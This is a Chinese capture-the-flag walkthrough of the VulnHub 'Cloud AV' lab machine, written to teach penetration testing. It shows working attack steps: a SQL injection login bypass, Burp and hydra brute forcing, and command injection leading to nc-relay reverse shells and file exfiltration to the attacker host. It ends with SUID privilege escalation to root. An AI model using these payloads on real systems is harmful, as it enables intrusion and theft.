一起来打靶 02

0x00 靶机介绍

靶机地址:BoredHackerBlog: Cloud AV ~ VulnHub

靶机难度:低(思路和技巧)

推荐虚拟机:VirtualBox

0x01 内容简介

  • 涉及的攻击方法

    • 端口扫描
    • WEB侦查
    • SQL注入
    • 命令注入
    • 密码爆破
    • 代码审计
    • NC串联
    • 本地提权
  • 简介

    虽说难度级别为低,但是从还原整个渗透过程的角度来看,这个靶机非常全面。

    为了更加全面的还原真实渗透思路,所以即便是失败的尝试过程,我也为大家完整的进行了展示。同时最终的总结阶段,我增加了图示来突出渗透过程的线索,希望将成果与收获沉淀下来,成为学员头脑中可复用的经验。

  • 背景

    • 是一个云防病毒扫描服务!目前处于测试阶段
  • 打靶目标

    • 渗透该服务,找出漏洞并提权

0x02 环境搭建

下载好靶机.ova文件后导入到VirtualBox中即可

确保靶机和kali在同一网段中

kali IP地址:10.0.2.7

0x03 主机发现

因为靶机和kali在同一网段中,所以优先选择二层的主机发现技术

上次使用了arp-scan这个工具,本次使用arping,做同一件事情使用不同的工具原因如下

arp-scanarping对比

  • 相同点
    • 都可用来二层的主机发现
  • 不同点
    • arp-scan更倾向于渗透测试使用的工具,更接近于黑客工具的定位
    • arping是几乎所有的Linux发行版当中都会默认包含的一个工具,从工具的广泛度而言arping可以在更多的环境下使用它,因为在很多情况下,渗透的目标系统可能并不包含像arp-scan这种更倾向于黑客的工具

使用arping进行主机发现,短板是没有办法对一段的IP地址进行一次性的,统一的主机发现;所以使用时需要结合shell的循环语句

对kali所在的网段10.0.2.110.0.2.254进行扫描

执行命令:for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i | grep "time="; done

image-20220317010108403

10.0.2.1-3这三个IP是虚拟机软件为了完成基本功能所使用到的IP,所以一定不是靶机IP,故10.0.2.8就为靶机的IP

10.0.2.8进行全端口的扫描

执行命令:sudo nmap -p- 10.0.2.8

image-20220317010508737

扫描结果显示开放了228080两个端口,继续对228080两个端口进行服务版本的发现

执行命令:sudo nmap -p22,8080 -sV 10.0.2.8

这些命令和参数都是非常通用的,即便在真实的渗透环境下,基本上也是按照这样的顺序,先做主机发现,然后做端口扫描,最后再做服务和应用版本的发现

image-20220317010931601

扫描结果显示

  • 22端口,开放的是OpenSSH 7.6p1这个版本的的SSH服务
  • 8080端口,开放的是httpd服务,并且服务端仍然使用的是Werkzeug这个使用python开发的web应用底层开发框架,和靶机01的情况完全相同

0x04 WEB侦察

既然开放了web服务,那么肯定要打开浏览器访问一下:http://10.0.2.8:8080

image-20220317011645736

从页面的提示信息中可以得到,这是一个云杀毒扫描器,需要输入邀请码成功登录后才可以使用,云查杀服务。

这里的邀请码本质上就类似于密码的作用,页面中的表单即为要攻破目标靶机的第一关任务

通过密码来进行身份验证的功能,攻击思路一般有两个

  1. 利用程序在服务端代码上的逻辑漏洞,通过sql注入的方式绕过身份验证
  2. 暴力破解方式,将密码破解出来

接下来逐一演示这两种方法,打靶的时候选择其中一种就可以了

0x04-1 SQL注入绕过身份验证

首先打开burpsuite并在浏览器上设置好burpsuite的代理

在页面表单中随便输入一点内容,点击Log in按钮

image-20220317012758149

image-20220317012956058

可以看到burpsuite抓取到了本次提交的数据包,将其发送到Intruder模块,利用其批量的,重复的数据提交能力向password这个位置提交一些特殊的符号,来测试服务端是否包含一些常见的注入漏洞

Intruder模块将password添加成数据的注入点

image-20220317013644530

配置Payloads,可以将键盘上的所有符号挨个注入一遍

背后的原因是在任何的编程语言环境中,键盘上可以输入的符号,比如:, ‘ ” %,都具有特殊的功能性的作用,当在注入点注入了所有的符号后,如果在这个位置存在某种注入漏洞的话,往往就会导致服务器端代码执行出错或者触发漏洞,造成语义上的歧义,从而造成服务器端无法正常处理提交的请求,最后通过触发这些漏洞就可以发现服务器端可能存在的注入漏洞。

手动添加或导入以下内容的字典文件

`
~
!
@
#
$
%
^
&
*
(
)
-
_
+
=
|
\
{
}
[
]
;
:
'
"
<
,
>
.
?
/

添加完成之后,点击右上角的start attack按钮,开始爆破

image-20220317151654231

对于数据提交之后的结果筛选通常会有两种方法

  1. 通过排序响应码的方式。提交正确的数据和错误的数据,往往服务端的响应码会有些不同

image-20220317151943268

  1. 通过排序响应长度的方式。提交正确的数据和错误的数据,往往服务端的响应的数据内容会不太相同,数据量是会有所差别的

image-20220317152146361

结果显示,提交数据为"时服务器端响应码与其余的不同,而且响应的数据量远远大于其它请求的响应

查看几个响应码是200的数据包,发现返回的内容都是WRONG INFORMATION

image-20220317152617452

再查看响应码是500的数据包

image-20220317152822457

通过查看响应内容发现,当提交数据为"的时候似乎触发了服务端的异常报错

从返回的报错中可以看到目标服务器的很多文件系统路径,发现当前服务端运行的应用程序具体放置在那个路径之下,文件名叫什么,透漏了很多服务端具体的信息,比如/home/scanner/cloudav_app/app.py

最后一行显示/home/scanner/cloudav_app/app.py第18行,由于注入了"而导致了这个报错,其中有一段是sql的查询语句,可以猜测提交的"似乎是被拼接到了当前的sql查询语句当中

拼接sql语句的代码为

select * from code where password="; + password + ";

当提交的数据为"时,sql语句就会变成这样

select * from code where password="; + " + ";

第一个"与我们提交的"进行了闭合,导致了最后一个"没有另外一个"与其闭合,从而触发了服务端代码执行的错误

这是一个典型的sql注入漏洞,尝试构造Payloads,攻击这条sql语句,实现在不知道密码/邀请码的情况下也可以登录后台

经常使用的一个攻击方法就是通过逻辑,Payloads如下

select * from code where password="; + " or 1=1--  + ";

由于or 1=1永远为真,所以不论双引号中包裹的是什么数据,最终在执行sql语句的过程中都会判定后面的判断语句为真

-- 表示的是sql语句中注释符(注意后面–还有有一个空格)

关闭burpsuite数据包拦截功能,通过浏览器提交构造的Payloads

" or 1=1-- 

image-20220317155907402

点击log in按钮,提交到服务端

image-20220317160150219

成功登录到了后台,从页面内容中可以得知,在表单中输入文件名,提交到服务端之后,服务端就会对这个文件进行查杀

0x04-2 暴力破解邀请码

首先打开burpsuite并在浏览器上设置好burpsuite的代理

在页面表单中随便输入一点内容,点击Log in按钮

image-20220317012758149

image-20220317012956058

可以看到burpsuite抓取到了本次提交的数据包,将其发送到Intruder模块,利用其批量的,重复的数据提交能力向password这个位置尝试进行爆破

Intruder模块将password添加成爆破点

image-20220317013644530

选择爆破密码使用的字典文件

image-20220318235150450

在kali的/usr/share/wordlists目录下存放着很多的密码字典文件可供选择,本次就选择一个比较简单的,比如nmap.lst这个nmap通常使用的字典文件

加载好密码字典文件后,点击右上角的Start attack按钮开始爆破

image-20220318235614067

对于数据提交之后的结果筛选通常会有两种方法

  1. 通过响应的码的方式。提交正确的数据和错误的数据,往往服务端的响应码会有些不同

image-20220319000050158

  1. 通过响应长度的方式。提交正确的数据和错误的数据,往往服务端的响应的数据内容会不太相同,数据量是会有所差别的

image-20220319000439513

结果显示,提交password的服务器响应数据量远远大于其他数据提交请求的响应

查看几个响应数据长度是175的数据包,发现返回的内容都是WRONG INFORMATION

image-20220319000703851

查看唯一一个返回数据包长度是345的响应

image-20220319000906631

发现当提交数据为password时,服务端返回的响应包含重定向,重定向到了/scan路径下

尝试在浏览器表单中输入password并提交

image-20220319001201744

点击log in按钮,提交到服务端

image-20220317160150219

成功登录到了后台,从页面内容中可以得知,在表单中输入文件名,提交到服务端之后,服务端就会对这个文件进行查杀

0x05 命令注入

构想一下这个web应用程序是如何实现防病毒扫描的

image-20220317161045268

首先对于红框中的部分,很容易联想到在Linux系统中执行ls -l返回的结果,所以有理由猜测显示的文件就是放置在服务端的一些文件

可以猜测,当在表单中输入某个文件名比如hello并提交给服务器后,服务器端可能会调用某种杀毒软件比如xxxscan,执行命令xxxscan hello,来进行扫描

如果真是这样的话就可以利用Linux shell中的管道符来执行其他的命令

管道符号,是Linux一个很强大的功能,符号为一条竖线:”|”。

用法:command 1 | command 2

功能是把第一个命令command 1执行的结果作为command2的输入传给第二个命令command 2

利用管道构造Payloads

hello | id

在浏览器的表单中提交Payloads

image-20220317162450219

等待片刻之后,发现注入的id命令的确被服务端执行了

image-20220317162615896

结果显示当前程序运行的账号是scanner,既然命令注入漏洞已证实存在,接下来就可以通过注入更多的命令来完成反弹shell的目的

0x06 NC串联

通过之前的扫描结果可以得知服务器端有Python的执行环境,所以可以使用靶机01中的Python反弹shell代码

但是在这里介绍一种新的方式,使用nc命令

查看服务器端是否有nc命令,构造Payloads

hello | which nc

在浏览器的表单中提交Payloads,等待片刻之后

image-20220317163541484

结果显示服务器端包含有nc这个命令,那么接下来就可以使用nc来反弹shell

首先在kali端启动侦听

执行命令:nc -nvlp 4444

image-20220317163700163

通常情况下nc命令都会有一个-e参数,可以指定在连接成功后,执行一个shell的终端,将接收到的数据放到shell终端中执行并返回执行的结果

利用nc命令反弹shell,构造Payloads

hello | nc 10.0.2.7 4444 -e /bin/sh

在浏览器的表单中提交Payloads,等待一段时间之后,发现kali上的nc并没有接收到反弹的shell连接,这是因为

nc命令有很多的版本,在每一个Linux发行版当中都可能使用不同的版本,有的版本带-e参数,有的版本不带-e参数

-e参数去掉,看看能不能连接成功

构造Payloads

hello | nc 10.0.2.7 4444

在浏览器的表单中提交Payloads,等待片刻之后,发现服务端nc的基本连接成功,可以正常使用

image-20220317165746515

也就意味着服务器端nc的确存在且可以正常使用,只是不带-e参数

对于此种情况可以利用到一个使用nc的技巧,叫做

nc串联

具体使用方法是

nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444

执行的逻辑是:nc 10.0.2.7 3333接收来自远程的命令,通过管道符|将命令传递给/bin/bash来执行,再次通过管道符|将命令执行的结果传输给nc 10.0.2.7 4444

利用此种方法需要在kali上开启两个侦听端口

执行命令:nc -nvlp 3333

nc -nvlp 4444

image-20220317170601088

构造Payloads

hello | nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444

在浏览器的表单中提交Payloads,等待片刻之后

image-20220317172254354

3333端口和4444端口连接都建立成功,并且在3333端口上输入命令,执行的结果会在4444端口这边显示出来,利用nc命令反弹shell成功

0x07 查看SQLite数据库

通过以上的ls命令可以看出在当前目录下存在app.pydatabase.sql等4个文件

首先对app.py进行代码审计一下,查看是否有提权的漏洞

执行命令:cat app.py

image-20220317173854227

一番审计过后,并没有发现为后期提权为root有什么帮助

再来关注一下database.sql文件,使用file命令查看文件的格式

file命令用来识别文件类型,也可用来辨别一些文件的编码格式。它是通过查看文件的头部信息来获取文件类型,而不是像Windows通过扩展名来确定文件类型的。

执行命令:file database.sql

image-20220317173956675

从结果中可以得知这是一个SQLite 3.x的数据库文件,结合之前sql注入返回的报错信息,有理由怀疑这个数据库文件就是web应用程序服务端使用的数据库,因为SQLite就是一个本地的数据库,数据库的内容都是以数据库文件的方式存放在目标服务器的文件目录下

这里面是否包括一些机密的信息呢?有理由要查看一下,尝试打开这个数据库文件

执行命令:sqlite

sqlite3

image-20220317190329334

执行命令之后无任何回显结果,说明在目标靶机上没有sqlite解析环境,所以不得不将database.sql数据库文件下载到kali上进行解析

通过nc命令来传输文件

首先在kali上侦听一个端口,并将接收到的数据转发到db.sql这个文件当中

执行命令:nc -nvlp 5555 > db.sql

image-20220317190632632

在目标靶机上,通过nc连接kali,并通过重定向命令发送文件

执行命令:nc 10.0.2.7 5555 < database.sql

image-20220317190849549

image-20220317190921059

命令执行完毕之后,在kali端接收到了连接,因为database.sql文件不是很大,很快就可以传输完毕,所以等待一会之后就可以结束nc在5555端口上的连接

查看当前目录

image-20220317191149806

db.sql已经创建成功,使用kali中的sqlite打开数据库文件,

执行命令:sqlite3 ,进入sqlite的命令提示符下

image-20220317191359942

接着查看数据库的内容

image-20220318212938623

从显示的数据中可以看到,数据表code中只有一个字段password,其中导入了四个密码

0x08 SSH爆破

从数据库中获得了四个明文密码,又由于之前的扫描得知目标系统是开启SSH服务的,按照流程应该利用账号及这些密码尝试能否成功登录目标系统

首先查看目标系统中可以登录的用户账号

利用nc在目标系统上执行命令:cat /etc/passwd 或者 cat /etc/passwd | grep /bin/bash

image-20220318214526748

从中可以得到3个可用于登录系统的账号

禁止用户登陆的 /bin/false和/sbin/nologin的区别

1 区别
/bin/false是最严格的禁止login选项,一切服务都不能用。
/sbin/nologin只是不允许login系统

小技巧:
查看 /etc/passwd文件,能看到各用户使用的shell

2.1 nologin
当用户配置成/sbin/nologin时,如果再使用该用户ssh到linux操作系统,会提示
This account is currently not available.

2.2 false
当用户配置成/bin/false时,ssh之后显示如下
root@vultr:~# useradd -s /bin/false -M -N user111
root@vultr:~# su user111
root@vultr:~# whoami
root

不会有任何提示,用户切换不过去

将这三个账号保存为用户名字典文件user.txt,内容如下

image-20220318215108177

再将数据库中的四条密码保存为密码文件pass.txt,内容如下

image-20220318215251905

使用hydra命令对SSH进行爆破

执行命令:hydra -L user.txt -P pass.txt ssh://10.0.2.8

image-20220318215644967

执行结果令人失望,没有在其中得到任何一个可用的账号密码,通过账号密码远程登录目标系统SSH服务的攻击意图失败了…

这是一个失败的尝试

当在做真实的渗透测试攻击时,经常会收集到看似有用的信息,比如账号密码信息,但是拿着已经获得的机密信息去做进一步攻击时往往是会失败的,虽然攻击结果是失败的,但是并不代表这这一次的尝试是无意义的,其实这些看似失败的尝试也是在进行渗透测试攻击思路中非常重要的一部分,所以当收集到这样的信息时,做这样的尝试是非常非常有必要的。

0x09 SUID提权

既然通过SSH爆破的攻击方式失败了,接下来就不得不在目标系统上进行更多的信息收集寻找可以成功提权的攻击手段

查看当前目录及子目录下的文件内容,看看有没有对提权有帮助的信息

image-20220318222819670

一番查看并没有寻找对提权到什么有用的信息

回到上一级目录,再看看其他的文件内容信息

image-20220318223319808

对于其中以.开头的隐藏文件也是有必要一个一个检查的,不过经过一番查看后在这些隐藏文件中也并没有发现对做提权攻击有帮助的信息

不多啰嗦了,接下来就直奔对做提权攻击有帮助的目标

可以看到在当前目录下有update_cloudavupdate_cloudav.c这两个文件名称相同的文件,其中update_cloudav是一个可执行的文件,那么就有理由怀疑update_cloudav.cupdate_cloudav的源代码文件

值得注意的是update_cloudav权限是-rwsr-xr-x,是带suid权限标记位的,更令人惊喜的是这个程序的属主是root账号

凡是具有suid权限标记位的可执行文件,当这个文件一旦执行的时候,无论当前是哪一个用户账号,在执行这个文件后都会继承这个文件的属主权限,也就是root的权限

可以设想一下如果可以执行update_cloudav程序,再通过某种命令注入的方法,利用它的suid权限标记位,若利用成功就可以用root权限来执行目标系统中的命令,包括任何可以反弹shell的命令,最终的结果就都会形成获得了一个root权限的反弹shell

所以suid位也是进行本地提权非常重要的一种手段,当然靶机01使用到的利用内核漏洞进行本地提权的手段也非常重要,它们俩都非常的常用

顺着这个思路,为了实现提权,非常有必要查看一下update_cloudav的源代码文件,看看这个程序是如何调用系统指令,如何跟系统进行交互的

利用nc在目标系统上执行命令:cat update_cloudav.c

image-20220318230605563

简单查看之后,发现这个C语言源代码文件非常的简单,仅仅时调用了系统当前已经存在的程序freshclam,同时强制要求在执行的时候传递一个或多个命令行参数,最终将freshclam与传递的参数拼接起来执行。

其中freshclam是开源杀毒软件的ClamAV进行病毒库更新的程序,参考连接:ClamAV病毒查杀 – 简书 (jianshu.com)

C语言函数

函数名:setgid – set group identity(设置组ID)

函数名 setuid – set user identity(设置用户ID)

参考连接:

随便跟一个参数,执行一下update_cloudav试试

image-20220318232245672

程序似乎报错了

现在并不清楚关于这个日志文件freshclam.log的报错是否会影响update_cloudav程序的正常运行,进而又是否会影响尝试利用这个程序的suid权限标记位来达到提权的目的

在真实的渗透测试过程中,很多时候获得的信息也并不完整,所以很多情况下都需要大胆尝试,按照我们头脑当中构想的渗透思路,通过实践来验证我们的攻击思路

接下来不妨大胆的尝试一下再次利用NC串联来构造Payloads,进而反弹shell

构造的Payloads如下

"a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

之所以要用双引号将所有的内容包裹起来是为了让update_cloudav这个程序将双引号中的内容全部作为执行它的命令行参数,从而继承它的的suid权限,获得root权限的反弹shell

在执行这个Payloads之前需要在kali行侦听55556666两个端口

执行命令:nc -nvlp 5555

nc -nvlp 6666

image-20220318233731422

然后通过nc在目标系统上执行构造的Payloads

执行命令:./update_cloudav "a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

image-20220318233958802

执行完毕后查看kali端侦听的两个端口是否建立了连接

image-20220318234152357

可以看到连接成功建立,NC串联再次成功

可喜可贺,取得了root权限的反弹shell,本次打靶圆满完成!

0x0a 总结

  • 打靶过程图片概述

靶机 02

  • 打靶过程文字概述
    1. 首先做了主机发现,发现靶机IP地址之后,对它进行了端口扫描以及服务版本的扫描,进而发现了一个工作在目标靶机8080端口的HTTP服务
    2. 通过浏览器访问8080端口上的WEB服务,在默认的WEB页面上发现了sql注入漏洞,使用sql注入漏洞或暴力破解邀请码的方式登录到了WEB应用的后台
    3. 在后台页面中,很容易的发现的一个命令注入漏洞,并且利用这个命令注入漏洞获得了一个反弹shell
    4. 取得了反弹shell之后,要做的就是在目标靶机上进行信息收集,在这个阶段当中发现了一个数据库文件,在其中发现了一些疑似密码的字符串
    5. 利用这些疑似为密码的字符串尝试进行SSH密码暴力破解,然后并没有成功
    6. 于是不得不进一步再去收集更多的信息,最终在目标系统上发现了拥有suid权限的可执行程序
    7. 通过代码审计发现了代码当中的一些问题,并找到了利用suid提权漏洞的攻击方式
    8. 最终取得了目标靶机的root权限,完成了整个的打靶过程
  • 打靶过程对应的视频链接:点击查看